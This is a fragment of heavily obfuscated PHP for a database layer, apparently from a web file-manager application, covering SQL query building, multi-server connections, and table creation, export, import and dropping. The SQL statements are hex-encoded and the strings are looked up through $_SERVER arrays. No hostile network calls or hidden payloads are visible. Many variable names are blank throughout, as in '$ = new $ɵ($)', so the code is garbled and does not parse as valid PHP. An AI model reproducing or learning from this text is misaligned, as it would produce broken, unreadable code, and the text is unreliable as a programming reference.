ucwords(strtolower($[$С[1042]])); $ɵ = $С[1044] . $this->dbType; if (class_exists($ɵ)) { $ = new $ɵ($); if ($С[1045] != strtolower($[$С[1042]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$С[997]]); } } else { think_exception(think_lang($С[1046]) . $С[1047] . $ɵ); } return $; } public function __call($Ȭ, $) { if (method_exists($this, $Ȭ)) { return call_user_func_array(array($this, $Ȭ), $); } } protected function _getDsnType($䎛) { $ = explode($_SERVER[՟][4], $䎛); $ = strtoupper(trim($[0])); return $; } private function parseConfig($刳 = '') { $ =& $_SERVER[՟]; if (!empty($刳) && is_string($刳)) { $刳 = $this->parseDSN($刳); } elseif (is_array($刳)) { $刳 = array_change_key_case($刳); $刳 = array($[1042] => $刳[$[1048]], $[969] => $刳[$[1049]], $[970] => $刳[$[1050]], $[967] => $刳[$[1051]], $[968] => $刳[$[1052]], $[21] => $刳[$[1053]], $[997] => $刳[$[1054]], $[17] => isset($刳[$[1055]]) ? $刳[$[1055]] : array()); } elseif (empty($刳)) { if (think_config($[1056]) && $[1045] != strtolower(think_config($[1057]))) { $刳 = $this->parseDSN(think_config($[1056])); } else { $刳 = array($[1042] => think_config($[1057]), $[969] => think_config($[1058]), $[970] => think_config($[1059]), $[967] => think_config($[1060]), $[968] => think_config($[1061]), $[21] => think_config($[332]), $[997] => think_config($[1056]), $[17] => think_config($[1062])); } } return $刳; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[՟][22])) { $this->_linkID = $this->multiConnect($); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($֘ = false) { $ =& $_SERVER[՟]; static $ = array(); static $߫ = -1; if (empty($)) { foreach ($this->config as $ => $ؽ) { $[$] = explode($[50], $ؽ); } } if (think_config($[1063])) { if ($֘ || think_config($[480]) === !0) { $Ṱ = floor(mt_rand(0, think_config($[1064]) - 1)); $߫ = $Ṱ; } else { if (is_numeric(think_config($[1065]))) { $Ṱ = think_config($[1065]); } else { $Ṱ = floor(mt_rand(think_config($[1064]), count($[$[967]]) - 1)); } } } else { $Ṱ = floor(mt_rand(0, count($[$[967]]) - 1)); $߫ = $Ṱ; } $Ṱ = $߫ !== -1 ? $߫ : $Ṱ; $ = array($[969] => isset($[$[969]][$Ṱ]) ? $[$[969]][$Ṱ] : $[$[969]][0], $[970] => isset($[$[970]][$Ṱ]) ? $[$[970]][$Ṱ] : $[$[970]][0], $[967] => isset($[$[967]][$Ṱ]) ? $[$[967]][$Ṱ] : $[$[967]][0], $[968] => isset($[$[968]][$Ṱ]) ? $[$[968]][$Ṱ] : $[$[968]][0], $[21] => isset($[$[21]][$Ṱ]) ? $[$[21]][$Ṱ] : $[$[21]][0], $[997] => isset($[$[997]][$Ṱ]) ? $[$[997]][$Ṱ] : $[$[997]][0], $[17] => isset($[$[17]][$Ṱ]) ? $[$[17]][$Ṱ] : $[$[17]][0]); return $this->connect($, $Ṱ); } public function parseDSN($҉£) { $ӑ =& $_SERVER[՟]; if (empty($҉£)) { return !1; } $ = parse_url($҉£); if ($[$ӑ[217]]) { $ѿ = array($ӑ[1042] => $[$ӑ[217]], $ӑ[969] => isset($[$ӑ[671]]) ? $[$ӑ[671]] : $ӑ[12], $ӑ[970] => isset($[$ӑ[1066]]) ? $[$ӑ[1066]] : $ӑ[12], $ӑ[967] => isset($[$ӑ[218]]) ? $[$ӑ[218]] : $ӑ[12], $ӑ[968] => isset($[$ӑ[219]]) ? $[$ӑ[219]] : $ӑ[12], $ӑ[21] => isset($[$ӑ[97]]) ? substr($[$ӑ[97]], 1) : $ӑ[12]); } else { preg_match($ӑ[1067], trim($҉£), $); $ѿ = array($ӑ[1042] => $[1], $ӑ[969] => $[2], $ӑ[970] => $[3], $ӑ[967] => $[4], $ӑ[968] => $[5], $ӑ[21] => $[6]); } $ѿ[$ӑ[997]] = $ӑ[12]; return $ѿ; } protected function debug() { $˔ =& $_SERVER[՟]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $˔[1068]; if (think_config($˔[1069])) { think_status($˔[1070]); think_trace($this->queryStr . $˔[1071] . think_status($˔[24], $˔[1070], 6) . $˔[1072], $˔[12], $˔[1073]); } } protected function parseLock($ = false) { $蔡 =& $_SERVER[՟]; if (!$) { return $蔡[12]; } if ($蔡[999] == $this->dbType) { return $蔡[1074]; } return $蔡[1075]; } protected function parseSet($ċ) { $Ί =& $_SERVER[՟]; foreach ($ċ as $ => $ג) { if (is_array($ג) && $Ί[382] == $ג[0]) { $ǭ[] = $this->parseKey($) . $Ί[515] . $ג[1]; } elseif (is_scalar($ג) || is_null($ג)) { $ǭ[] = $this->parseKey($) . $Ί[515] . $this->parseValue($ג); } } return $Ί[1076] . implode($Ί[50], $ǭ); } protected function bindParam($, $) { $this->bind[$_SERVER[՟][4] . $] = $; } protected function parseBind($Ҳ) { $Ҳ = array_merge($this->bind, $Ҳ); $this->bind = array(); return $Ҳ; } function parseKey(&$ڦ, $ = true) { if ($) { $ڦ = $this->parseKeyCheck($ڦ); } return $ڦ; } function parseKeyCheck($) { $ =& $_SERVER[՟]; $ = trim($); if (!preg_match($[1077], $)) { think_exception($[1078] . $); } return $; } protected function parseValue($) { $ =& $_SERVER[՟]; if (is_string($)) { $ = $[1038] . $this->escapeString($) . $[1038]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[382]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1039]), $); } elseif (is_bool($)) { $ = $ ? $[101] : $[238]; } elseif (is_null($)) { $ = $[116]; } return $; } protected function parseField($) { $Ȇ =& $_SERVER[՟]; if (is_string($) && strpos($, $Ȇ[50])) { $ = explode($Ȇ[50], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $泌) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $Ȇ[1079] . $this->parseKey($泌); } else { $[] = $this->parseKey($泌); } } $ = implode($Ȇ[50], $); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $Ȇ[230]; } return $; } protected function parseTable($) { $ =& $_SERVER[՟]; if (is_array($)) { $ư = array(); foreach ($ as $ => $ˀ) { if (!is_numeric($)) { $ư[] = $this->parseKey($) . $[53] . $this->parseKey($ˀ); } else { $ư[] = $this->parseKey($); } } $ = $ư; } elseif (is_string($)) { if (strstr($, $[53])) { return $; } $ = explode($[50], $); array_walk($, array($this, $[987])); } return $[981] . trim(implode($[1080], $), $[470]) . $[981]; } protected function parseWhere($ޟ) { $ф =& $_SERVER[՟]; $ = $ф[12]; if (is_string($ޟ)) { $ = $ޟ; } else { $ = isset($ޟ[$ф[1081]]) ? strtoupper($ޟ[$ф[1081]]) : $ф[12]; if (in_array($, array($ф[1082], $ф[1083], $ф[1084]))) { $ = $ф[53] . $ . $ф[53]; unset($ޟ[$ф[1081]]); } else { $ = $ф[1085]; } foreach ($ޟ as $ => $) { $ .= $ф[363]; if (is_numeric($)) { $ = $ф[1086]; } if (0 === strpos($, $ф[11])) { $ .= $this->parseThinkWhere($, $); } else { if (!preg_match($ф[1087], trim($))) { think_exception(think_lang($ф[1088]) . $ф[4] . $); } $ŵ = is_array($) && isset($[$ф[1089]]); $ = trim($); if (strpos($, $ф[224])) { $߫ = explode($ф[224], $); $ = array(); foreach ($߫ as $ => $) { $ = $ŵ ? $[$] : $; $[] = $ф[346] . $this->parseWhereItem($this->parseKey($), $) . $ф[986]; } $ .= implode($ф[1090], $); } elseif (strpos($, $ф[369])) { $߫ = explode($ф[369], $); $ = array(); foreach ($߫ as $ => $) { $ = $ŵ ? $[$] : $; $[] = $ф[346] . $this->parseWhereItem($this->parseKey($), $) . $ф[986]; } $ .= implode($ф[1085], $); } else { $ .= $this->parseWhereItem($this->parseKey($), $); } } $ .= $ф[364] . $; } $ = substr($, 0, -strlen($)); } return empty($) ? $ф[12] : $ф[1091] . $; } protected function parseWhereItem($, $ۃ) { $ =& $_SERVER[՟]; $͟ = $[12]; if (is_array($ۃ)) { if (is_string($ۃ[0])) { $ۂ = strtolower($ۃ[0]); if (in_array($ۃ[0], array($[515], $[1092], $[1093], $[1094], $[1095], $[1096]))) { $͟ .= $ . $[53] . $ۃ[0] . $[53] . $this->parseValue($ۃ[1]); } elseif (preg_match($[1097], $ۃ[0])) { $͟ .= $ . $[53] . $this->exp[$ۂ] . $[53] . $this->parseValue($ۃ[1]); } elseif (preg_match($[1098], $ۃ[0])) { if (is_array($ۃ[1])) { $Ƴ͟ = isset($ۃ[2]) ? strtoupper($ۃ[2]) : $[1083]; if (in_array($Ƴ͟, array($[1082], $[1083], $[1084]))) { $ = array(); foreach ($ۃ[1] as $) { $[] = $ . $[53] . $this->exp[$ۂ] . $[53] . $this->parseValue($); } $͟ .= $[346] . implode($[53] . $Ƴ͟ . $[53], $) . $[986]; } } else { $͟ .= $ . $[53] . $this->exp[$ۂ] . $[53] . $this->parseValue($ۃ[1]); } } elseif ($[382] == $ۂ) { $͟ .= $[984] . $ . $[53] . $ۃ[1] . $[1099]; } elseif (preg_match($[1100], $ۃ[0])) { $͟ .= $ۃ[0]; } elseif (preg_match($[1101], $ۃ[0])) { if (isset($ۃ[2]) && $[382] == $ۃ[2]) { $͟ .= $ . $[53] . $this->exp[$ۂ] . $[53] . $ۃ[1]; } else { if (is_string($ۃ[1])) { $ۃ[1] = explode($[50], $ۃ[1]); } $ = implode($[50], $this->parseValue($ۃ[1])); $͟ .= $ . $[53] . $this->exp[$ۂ] . $[984] . $ . $[986]; } } elseif (preg_match($[1102], $ۃ[0])) { $ = is_string($ۃ[1]) ? explode($[50], $ۃ[1]) : $ۃ[1]; $͟ .= $[984] . $ . $[53] . $this->exp[$ۂ] . $[53] . $this->parseValue($[0]) . $[1085] . $this->parseValue($[1]) . $[364]; } else { think_exception(think_lang($[1088]) . $[4] . $ۃ[0]); } } else { $ј = count($ۃ); $ = $[12]; if (is_string($ۃ[$ј - 1])) { $ = isset($ۃ[$ј - 1]) ? strtoupper($ۃ[$ј - 1]) : $[12]; if (in_array($, array($[1082], $[1083], $[1084]))) { $ј = $ј - 1; } } else { $ = $[1082]; } for ($ = 0; $ < $ј; $++) { $ = is_array($ۃ[$]) ? $ۃ[$][1] : $ۃ[$]; if ($[382] == strtolower($ۃ[$][0])) { $͟ .= $[346] . $ . $[53] . $ . $[1099] . $ . $[53]; } else { $ї = is_array($ۃ[$]) ? $this->exp[strtolower($ۃ[$][0])] : $[515]; if (!$ї && is_array($ۃ[$]) && in_array($ۃ[$][0], array($[515], $[1092], $[1093], $[1094], $[1095], $[1096]))) { $ї = $ۃ[$][0]; } $͟ .= $[346] . $ . $[53] . $ї . $[53] . $this->parseValue($) . $[1099] . $ . $[53]; } } $͟ = substr($͟, 0, -4); } } else { $͟ .= $ . $[1103] . $this->parseValue($ۃ); } return $͟; } protected function parseThinkWhere($, $) { $ =& $_SERVER[՟]; $ = $[12]; switch ($) { case $[437]: $ = $; break; case $[1086]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1104]: parse_str($, $ؚ); if (isset($ؚ[$[1081]])) { $ = $[53] . strtoupper($ؚ[$[1081]]) . $[53]; unset($ؚ[$[1081]]); } else { $ = $[1085]; } $Ф = array(); foreach ($ؚ as $ϕ => $) { $Ф[] = $this->parseKey($ϕ) . $[1103] . $this->parseValue($); } $ = implode($, $Ф); break; } return $; } protected function parseLimit($) { $ѧ =& $_SERVER[՟]; return !empty($) ? $ѧ[51] . $ . $ѧ[53] : $ѧ[12]; } protected function parseJoin($) { $ǔ =& $_SERVER[՟]; $ = $ǔ[12]; if (!empty($)) { if (is_array($)) { foreach ($ as $ => $뼗) { if (!1 !== stripos($뼗, $ǔ[1105])) { $ .= $ǔ[53] . $뼗; } else { $ .= $ǔ[1106] . $뼗; } } } else { $ .= $ǔ[1106] . $; } } $ = preg_replace($ǔ[1107], think_config($ǔ[1011]) . $ǔ[1108], $); return $; } protected function parseOrder($) { $Ŕ՚ =& $_SERVER[՟]; if (is_array($)) { $Ŀ˅ = array(); foreach ($ as $ɷ => $) { if (is_numeric($ɷ)) { $Ŀ˅[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($Ŕ՚[1109], $Ŕ՚[1110])) ? $Ŕ՚[53] . $ : $Ŕ՚[12]; if (preg_match($Ŕ՚[1111], $ɷ)) { $Ŀ˅[] = $this->parseKey($ɷ) . $; } else { think_exception($Ŕ՚[1112] . $ɷ); } } } $ = implode($Ŕ՚[50], $Ŀ˅); } return !empty($) ? $Ŕ՚[1113] . $ : $Ŕ՚[12]; } protected function parseGroup($) { $ؾ =& $_SERVER[՟]; return !empty($) ? $ؾ[1114] . $ : $ؾ[12]; } protected function parseHaving($) { $ =& $_SERVER[՟]; return !empty($) ? $[1115] . $ : $[12]; } protected function parseComment($߀) { $͔ =& $_SERVER[՟]; return !empty($߀) ? $͔[1116] . $߀ . $͔[1117] : $͔[12]; } protected function parseDistinct($) { $ť =& $_SERVER[՟]; return !empty($) ? $ť[1118] : $ť[12]; } protected function parseUnion($≭) { $먏 =& $_SERVER[՟]; if (empty($≭)) { return $먏[12]; } if (isset($≭[$먏[433]])) { $ʰ = $먏[1119]; unset($≭[$먏[433]]); } else { $ʰ = $먏[1120]; } foreach ($≭ as $ő) { $[] = $ʰ . (is_array($ő) ? $this->buildSelectSql($ő) : $ő); } return implode($먏[53], $); } public function insert($, $ = array(), $ɴ = false) { $Έ =& $_SERVER[՟]; $뷩 = $ = array(); $this->model = $[$Έ[367]]; foreach ($ as $ => $Ś) { if (is_array($Ś) && $Έ[382] == $Ś[0]) { $[] = $this->parseKey($); $뷩[] = $Ś[1]; } elseif (is_scalar($Ś) || is_null($Ś)) { $[] = $this->parseKey($); $뷩[] = $this->parseValue($Ś); } } $γ = ($ɴ ? $Έ[988] : $Έ[989]) . $Έ[990] . $this->parseTable($[$Έ[365]]) . $Έ[984] . implode($Έ[50], $) . $Έ[985] . implode($Έ[50], $뷩) . $Έ[986]; $γ .= $this->parseLock(isset($[$Έ[928]]) ? $[$Έ[928]] : !1); $γ .= $this->parseComment(!empty($[$Έ[439]]) ? $[$Έ[439]] : $Έ[12]); return $this->execute($γ, $this->parseBind(!empty($[$Έ[370]]) ? $[$Έ[370]] : array())); } public function selectInsert($¦, $얺, $͏ = array()) { $ =& $_SERVER[՟]; $this->model = $͏[$[367]]; if (is_string($¦)) { $¦ = explode($[50], $¦); } array_walk($¦, array($this, $[987])); $á = $[1121] . $this->parseTable($얺) . $[984] . implode($[50], $¦) . $[1099]; $á .= $this->buildSelectSql($͏); return $this->execute($á, $this->parseBind(!empty($͏[$[370]]) ? $͏[$[370]] : array())); } public function update($, $ո) { $ =& $_SERVER[՟]; $this->model = $ո[$[367]]; $njߓˮ = $[1122] . $this->parseTable($ո[$[365]]) . $this->parseSet($) . $this->parseWhere(!empty($ո[$[361]]) ? $ո[$[361]] : $[12]) . $this->parseOrder(!empty($ո[$[450]]) ? $ո[$[450]] : $[12]) . $this->parseLimit(!empty($ո[$[377]]) ? $ո[$[377]] : $[12]) . $this->parseLock(isset($ո[$[928]]) ? $ո[$[928]] : !1) . $this->parseComment(!empty($ո[$[439]]) ? $ո[$[439]] : $[12]); return $this->execute($njߓˮ, $this->parseBind(!empty($ո[$[370]]) ? $ո[$[370]] : array())); } public function delete($ԁ = array()) { $ =& $_SERVER[՟]; $this->model = $ԁ[$[367]]; $瓠 = $[1123] . $this->parseTable($ԁ[$[365]]) . $this->parseWhere(!empty($ԁ[$[361]]) ? $ԁ[$[361]] : $[12]) . $this->parseOrder(!empty($ԁ[$[450]]) ? $ԁ[$[450]] : $[12]) . $this->parseLimit(!empty($ԁ[$[377]]) ? $ԁ[$[377]] : $[12]) . $this->parseLock(isset($ԁ[$[928]]) ? $ԁ[$[928]] : !1) . $this->parseComment(!empty($ԁ[$[439]]) ? $ԁ[$[439]] : $[12]); return $this->execute($瓠, $this->parseBind(!empty($ԁ[$[370]]) ? $ԁ[$[370]] : array())); } public function select($ = array()) { $ފ =& $_SERVER[՟]; $this->model = $[$ފ[367]]; $Ϊ = $this->buildSelectSql($); $̕ = isset($[$ފ[434]]) ? $[$ފ[434]] : !1; if ($̕) { $씏 = is_string($̕[$ފ[107]]) ? $̕[$ފ[107]] : $ފ[1124] . md5($Ϊ); $߁ߗ = think_cache($씏, $ފ[12], $̕); if (!1 !== $߁ߗ) { return $߁ߗ; } } $֛ = $this->query($Ϊ, $this->parseBind(!empty($[$ފ[370]]) ? $[$ފ[370]] : array())); if ($̕ && !1 !== $֛) { think_cache($씏, $֛, $̕); } return $֛; } public function buildSelectSql($䛑 = array()) { $ =& $_SERVER[՟]; if (isset($䛑[$[438]])) { if (strpos($䛑[$[438]], $[50])) { list($, $쾓) = explode($[50], $䛑[$[438]]); } else { $ = $䛑[$[438]]; } $ = $ ? $ : 1; $쾓 = isset($쾓) ? $쾓 : (is_numeric($䛑[$[377]]) ? $䛑[$[377]] : 20); $툷 = $쾓 * ((int) $ - 1); $䛑[$[377]] = $툷 . $[50] . $쾓; } if (think_config($[1125])) { $ = $[1126] . md5(serialize($䛑)); $ = think_cache($); if ($) { return $; } } $蝄 = $this->parseSql($this->selectSql, $䛑); $蝄 .= $this->parseLock(isset($䛑[$[928]]) ? $䛑[$[928]] : !1); if (isset($)) { think_cache($, $蝄); } return $蝄; } public function parseSql($֦, $ = array()) { $ =& $_SERVER[՟]; $֦ = str_replace(array($[1127], $[1128], $[1129], $[1130], $[1131], $[1132], $[1133], $[1134], $[1135], $[1136], $[1137]), array($this->parseTable("{$[$[365]]}"), $this->parseDistinct(isset($[$[1138]]) ? $[$[1138]] : !1), $this->parseField(!empty($[$[359]]) ? $[$[359]] : $[230]), $this->parseJoin(!empty($[$[368]]) ? $[$[368]] : $[12]), $this->parseWhere(!empty($[$[361]]) ? $[$[361]] : $[12]), $this->parseGroup(!empty($[$[587]]) ? $[$[587]] : $[12]), $this->parseHaving(!empty($[$[1139]]) ? $[$[1139]] : $[12]), $this->parseOrder(!empty($[$[450]]) ? $[$[450]] : $[12]), $this->parseLimit(!empty($[$[377]]) ? $[$[377]] : $[12]), $this->parseUnion(!empty($[$[432]]) ? $[$[432]] : $[12]), $this->parseComment(!empty($[$[439]]) ? $[$[439]] : $[12])), $֦); return $֦; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($Ė) { return addslashes($Ė); } public function setModel($ҫڥ) { $this->model = $ҫڥ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($䙚 = array()) { $ӈ =& $_SERVER[՟]; if (empty($䙚)) { $䙚 = $GLOBALS[$ӈ[6]][$ӈ[21]]; } $this->database = $䙚; } public function model($ۦ = '') { return new ModelBase($ۦ, $_SERVER[՟][12], $this->database); } public function db($։ = false) { $ʽٟ =& $_SERVER[՟]; $څЇ = array_change_key_case($this->database); if ($this->dbType() == $ʽٟ[13] || !$։) { return $this->model()->db(); } $ = $څЇ[$ʽٟ[1053]]; $څЇ[$ʽٟ[1053]] = $ʽٟ[12]; if ($څЇ[$ʽٟ[1048]] == $ʽٟ[1045]) { $鋴 = $څЇ[$ʽٟ[1054]]; $څЇ[$ʽٟ[1054]] = substr($鋴, 0, strrpos($鋴, $ʽٟ[1140])); } $this->database = $څЇ; $ǰ҅ = $this->model()->db(); try { $ = $ǰ҅->execute("\163\x68\x6f\x77\40\x64\x61\164\141\x62\x61\x73\x65\163\40\x6c\x69\x6b\145\40\47{$}\47"); } catch (Exception $љ) { } if (!$) { $ǰ҅->execute("\x63\162\145\x61\164\145\x20\144\141\164\x61\x62\x61\x73\x65\40\x60{$}\140"); } $څЇ[$ʽٟ[1053]] = $; if ($څЇ[$ʽٟ[1048]] == $ʽٟ[1045]) { $څЇ[$ʽٟ[1054]] .= $ʽٟ[1140] . $; } $this->database = $څЇ; $ǰ҅->execute("\x75\163\x65\40\140{$}\140"); return $ǰ҅; } public function createTable($, &$ڬʢ) { $ۏ =& $_SERVER[՟]; if (!IO::exist($)) { ActionCall($ۏ[1141], !0, 0); show_json(LNG($ۏ[1142]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $¢) { $䵍Լ = stripos($¢, $ۏ[1143]) === 0; if ($䵍Լ) { $ڬʢ->task[$ۏ[1144]] += 1; } $->execute($¢); if ($䵍Լ) { preg_match($ۏ[1145], $¢, $܂); $ڬʢ->task[$ۏ[1146]] = $܂[1]; $ڬʢ->update(1); } } } public function insertTable($꺔, &$) { $ =& $_SERVER[՟]; $⏲ = $this->model()->db(); $ = $Ǚ ? array($Ǚ) : $⏲->getTables(); foreach ($꺔 as $) { $Ǚ = basename($, $[872]); if (!in_array($Ǚ, $)) { continue; } $->task[$[1146]] = $Ǚ; if (get_filesize($) == 0) { continue; } $ԉ = $this->sqlToDb($, $); if (!$ԉ) { ActionCall($[1141], !0, 0); show_json(LNG($[1147]) . "\x5b{$Ǚ}\135", !1); } } } public function sqlFromDb($, $Є, &$, $ɋ = '') { if ($) { $->task[$_SERVER[՟][1146]] = $; } $ = $this->model($); $߾ = 0; $촼 = 0; $ށ = 10000; $ = fopen($Є, $_SERVER[՟][1148]); $ = $->getPk(); $ۊ = $->getDbFields(); $͛ = $_SERVER[՟][12]; if ($GLOBALS[$_SERVER[՟][871]] && in_array($, array($_SERVER[՟][1149], $_SERVER[՟][1150]))) { $͛ = $; } do { $ƨ̓ = array($ => array($_SERVER[՟][1095], $촼)); $ȴ = $->where($ƨ̓)->field($ۊ)->order($ . $_SERVER[՟][1151])->limit($ށ)->select(); $ȴ = !empty($ȴ) ? $ȴ : array(); if (!($Ǘ = count($ȴ))) { break; } $Ͱ = end($ȴ); $촼 = $Ͱ[$]; $ό = array(); foreach ($ȴ as $) { if ($͛) { if ($ == $_SERVER[՟][1149]) { if ($[$_SERVER[՟][33]] == $_SERVER[՟][1152]) { $ = json_decode($[$_SERVER[՟][459]], !0); if ($[$_SERVER[՟][32]] == $GLOBALS[$_SERVER[՟][871]] && $[$_SERVER[՟][834]] != 1) { continue; } } } else { if ($[$_SERVER[՟][33]] == $_SERVER[՟][1153] && $[$_SERVER[՟][107]] == $_SERVER[՟][866]) { continue; } } } if ($ɋ) { $[$_SERVER[՟][97]] = "\x7b\x69\157\x3a{$ɋ}\175" . substr($[$_SERVER[՟][97]], strlen("\x7b\151\x6f\72{$[$_SERVER[՟][901]]}\175")); $[$_SERVER[՟][901]] = $ɋ; } $ό[] = $_SERVER[՟][1154] . $this->sqlEncode($) . $_SERVER[՟][1155]; } $ = "\x49\116\x53\x45\x52\x54\40\111\116\124\117\x20\140{$}\140\x20\50\140" . implode($_SERVER[՟][1156], $ۊ) . $_SERVER[՟][1157]; fwrite($, $ . implode($_SERVER[՟][1158], $ό) . $_SERVER[՟][84] . PHP_EOL); $߾ += $Ǘ; if ($) { $->update($Ǘ); } } while ($ށ == $Ǘ); fclose($); return $߾; } public function sqlToDb($͏, &$) { $ =& $_SERVER[՟]; $傗 = $this->model()->db(); $ = @fopen($͏, $[1159]); if (!$) { return !1; } $ = 0; $һͭ = $[12]; $Օ = array(); $֦ = $this->dbType(); $ɞ = $֦ == $[13] ? 500 : 2000; $ѸϷ = basename($͏, $[872]); $՝ = 0; $܇ = 4194304; while (!feof($)) { $̊ = trim(fgets($)); if (!$̊) { continue; } $팀 = $this->sqlDecode($̊, $֦, $ѸϷ); if (stripos($팀, $[440]) === 0) { if (!$һͭ) { $һͭ = $팀 . $[53]; } continue; } if ($) { $->task[$[1144]] += 1; } $++; $Օ[] = rtrim(rtrim(trim($팀), $[50]), $[84]); $ = null; $蕨 = strlen($팀); $՝ += $蕨; $╫ = strlen($һͭ) + $՝ + (count($Օ) - 1); if ($╫ >= $܇) { $ = array_pop($Օ); if ($ > 1) { $--; } } if ($ >= $ɞ || $) { $팀 = $һͭ . implode($[50], $Օ); if (!$傗->execute($팀)) { return !1; } if ($) { $->update($); } $Օ = array(); $ = 0; $՝ = 0; if ($) { $Օ = array($); $ = 1; $՝ = $蕨; } } } fclose($); if (!empty($Օ)) { $팀 = $һͭ . implode($[50], $Օ); if (!$傗->execute($팀)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $Ë = $this->model()->db(); $̦ = $ ? array($) : $Ë->getTables(); if (!$̦) { return; } foreach ($̦ as $) { if ($) { $ = strtolower($); } else { continue; } $Ë->execute("\x64\162\157\160\40\164\x61\x62\x6c\x65\x20\151\x66\x20\x65\170\x69\x73\x74\x73\x20\x60{$}\140"); } } private function sqlEncode($Dz) { $ǧԼ =& $_SERVER[՟]; $Ͻ = array(); foreach ($Dz as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($ǧԼ[1160], $ǧԼ[59], $ǧԼ[427]), array($ǧԼ[1161], $ǧԼ[1162], $ǧԼ[1163]), $); $Ͻ[] = $; } return $ǧԼ[68] . implode($ǧԼ[1164], $Ͻ) . $ǧԼ[68]; } private function sqlDecode($֓, $, $ = '') { $ =& $_SERVER[՟]; $֓ = str_replace(array($[1161], $[1162], $[1163]), array($[1160], $[59], $[427]), $֓); if ($ == $[13]) { $֓ = str_ireplace($[1165], $[69], $֓); $֓ = stripslashes($֓); } return preg_replace($[1166], $[12], $֓); if ($ == $[13]) { return $ != $[1167] ? stripslashes($֓) : $֓; } if ($ == $[1167]) { $֓ = str_replace($[1168], $[131], stripslashes($֓)); } return $֓; } public function getSqlFile($ذ = '') { $ئ =& $_SERVER[՟]; $ֺ = $this->dbType(!0); $ = CONTROLLER_DIR . "\x69\156\163\x74\x61\154\x6c\x2f\x64\x61\164\x61\x2f{$ֺ}\x2e\x73\161\x6c"; $ܦ = file_get_contents($); $ = $ئ[1169] . ($ֺ == $ئ[888] ? $ئ[1170] : $ئ[1171]) . $ئ[1172]; preg_match_all($, $ܦ, $贾); $ = $贾[1]; $ = $this->model()->db(); $ = $->getTables(); $ť = TEMP_FILES . $ئ[1173] . date($ئ[281]) . $ئ[8]; del_dir($ť); mk_dir($ť); $ = $ť . $ئ[1174]; $ = $ť . $ئ[1175]; $ = $ֺ == $ئ[13] ? $ئ[888] : $ئ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\x73\x74\x61\154\x6c\x2f\x64\x61\x74\x61\x2f{$}\56\x73\x71\154", $ť); @touch($ť . $ֺ . $ئ[872]); $ = fopen($, $ئ[1148]); $ = fopen($, $ئ[1148]); if ($ֺ == $ئ[13]) { $ = array_diff($, array($ئ[864], $ئ[865])); $Ԫ = array($ئ[1176], $ئ[1177], $ئ[1178]); fwrite($, implode(PHP_EOL, $Ԫ) . PHP_EOL . PHP_EOL); foreach ($ as $ɀ) { $έΩ = $this->sqlFromSqlite($ɀ); if (!$έΩ[$ئ[13]]) { continue; } fwrite($, $έΩ[$ئ[13]] . PHP_EOL . PHP_EOL); if (!in_array($ɀ, $)) { fwrite($, $έΩ[$ئ[888]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $ɀ) { $έΩ = $this->sqlFromMysql($ɀ); if (!$έΩ[$ئ[888]]) { continue; } fwrite($, $έΩ[$ئ[888]] . PHP_EOL . PHP_EOL); if (!in_array($ɀ, $)) { fwrite($, $έΩ[$ئ[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $ܦ = array($ئ[888] => $, $ئ[13] => $); return $ذ ? $ܦ[$ذ] : $ܦ; } public function dbType($ = false) { $ٰ =& $_SERVER[՟]; $Ќ = $ ? $GLOBALS[$ٰ[6]][$ٰ[21]] : $this->database; $Ќ = array_change_key_case($Ќ); $Ƭä = $Ќ[$ٰ[1048]]; if ($Ƭä == $ٰ[1045]) { $ = explode($ٰ[4], $Ќ[$ٰ[1054]]); $Ƭä = $[0]; } $Н = array($ٰ[1179] => $ٰ[13], $ٰ[993] => $ٰ[888]); if (isset($Н[$Ƭä])) { $Ƭä = $Н[$Ƭä]; } return $Ƭä; } public function sqlFromMysql($, $ߔ = '') { $ǯʠ =& $_SERVER[՟]; $ = $this->model()->db(); $彐̸ = $->query($ǯʠ[1180] . $ . $ǯʠ[470]); if (!$彐̸ || !$彐̸[0]) { return !1; } $ = _get($彐̸[0], $ǯʠ[1181], $ǯʠ[12]); if (!$) { return !1; } $Җ = "\104\x52\117\120\40\124\101\102\x4c\x45\40\111\106\40\x45\x58\x49\123\x54\x53\40\x60{$}\140\73" . PHP_EOL . $ . $ǯʠ[84]; if ($ߔ && $ߔ == $ǯʠ[888]) { return $Җ; } $߄ = array_change_key_case($GLOBALS[$ǯʠ[6]][$ǯʠ[21]]); $⟩ = $߄[$ǯʠ[1053]]; $ = $ǯʠ[1182] . $⟩ . $ǯʠ[1183] . $ . $ǯʠ[68]; $Ρ = $ǯʠ[1184] . $ . $ǯʠ[981]; $ࡊ = $->query($); if (empty($ࡊ)) { $ = array($ǯʠ[888] => $ǯʠ[12], $ǯʠ[13] => $ǯʠ[12]); return $ߔ ? $[$ߔ] : $; } $ = $->query($Ρ); $ = $ǯʠ[12]; $ = array(); foreach ($ as $Փ) { if (!$ && $Փ[$ǯʠ[1185]] == $ǯʠ[1186]) { $ = $Փ[$ǯʠ[1187]]; } if (isset($[$Փ[$ǯʠ[1185]]])) { $[$Փ[$ǯʠ[1185]]][$ǯʠ[1188]][] = 